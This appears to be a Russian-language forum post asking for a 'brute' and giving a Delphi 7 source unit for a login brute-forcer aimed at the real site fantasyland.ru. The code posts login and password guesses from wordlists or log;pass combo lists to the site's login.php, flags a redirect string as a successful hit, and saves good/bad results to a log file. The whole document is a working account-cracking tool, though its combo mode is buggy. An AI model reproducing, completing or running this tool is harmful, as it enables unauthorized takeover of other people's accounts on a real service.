DELPHI 7 сделайти мне брут а то я не умею программировать:(

unit fantasyland;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPServer,
  IdCustomHTTPServer, IdHTTPServer, IdTCPConnection, IdTCPClient, IdHTTP;

type
  TForm1 = class(TForm)
    btn1: TButton;
    mmo1: TMemo;
    idhtp1: TIdHTTP;
    mmo2: TMemo;
    rb1: TRadioButton;
    rb2: TRadioButton;
    rb3: TRadioButton;
    btn2: TButton;
    btn3: TButton;
    edt1: TEdit;
    lbl1: TLabel;
    lbl2: TLabel;
    lbl3: TLabel;
    lbl4: TLabel;
    lbl5: TLabel;
    procedure btn1Click(Sender: TObject);
    procedure btn2Click(Sender: TObject);
    procedure btn3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.btn1Click(Sender: TObject);
var
  i,y,s:Integer;
  info,p:TStringList;
begin
info:=TStringList.Create;
p:=TStringList.Create;

if rb1.Checked then
for i:=0 to Mmo1.Lines.Count-1 do
begin
 info.add('login='+edt1.Text);
 info.add('password='+Mmo1.Lines.Strings[i]);
 p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info);
 if pos('window.top.document.location.href=', p.text)>0 then
 begin
 mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'good');
 end
 else
 begin
 mmo2.lines.Add(edt1.Text+';'+Mmo1.Lines.Strings[i]+ ' - ' + 'bad');
 end;
 end;

 if rb2.Checked then
 for i:=0 to Mmo1.Lines.Count-1 do
 begin
 info.add('login='+Mmo1.Lines.Strings[i]);
 info.add('password='+edt1.Text);
 p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info);
 if pos('window.top.document.location.href=', p.text)>0 then
 begin
 mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'good');
 end
 else
 begin
 mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'bad');
 end;
 end;

 if rb3.Checked then
 for i:=0 to Mmo1.Lines.Count-1 do
 begin
 y:=Pos(';', mmo1.Text);
 info.add('login='+copy(Mmo1.Text, 1, y-1));
 s:=length(mmo1.Text);
 info.add('password='+copy(mmo1.Text, y+1, s));
 p.Text:=idhtp1.Post('http://fantasyland.ru/login.php', info);
 if pos('window.top.document.location.href=', p.text)>0 then
 begin
 mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'good');
 end
 else
 begin
 mmo2.lines.Add(Mmo1.Lines.Strings[i]+';'+edt1.Text+ ' - ' + 'bad');
 end;
 end;

end;

procedure TForm1.btn2Click(Sender: TObject);
begin
mmo2.Lines.SaveToFile('log.txt');
end;

procedure TForm1.btn3Click(Sender: TObject);
begin
if rb1.Checked=True then
begin
mmo1.Text:='';
edt1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
edt1.Visible:=True;
lbl1.Caption:='Пароли';
lbl3.Caption:='Логин';
lbl1.Visible:=True;
lbl2.Visible:=True;
lbl3.Visible:=True;
end;
if rb2.Checked=True then
begin
mmo1.Text:='';
edt1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
edt1.Visible:=True;
lbl1.Caption:='Логины';
lbl3.Caption:='Пароль';
lbl1.Visible:=True;
lbl2.Visible:=True;
lbl3.Visible:=True;
end;
if rb3.Checked=True then
begin
mmo1.Text:='';
mmo1.Visible:=True;
mmo2.Visible:=True;
lbl1.Caption:='log;pass';
lbl1.Visible:=True;
lbl2.Visible:=True;
end;
end;

end.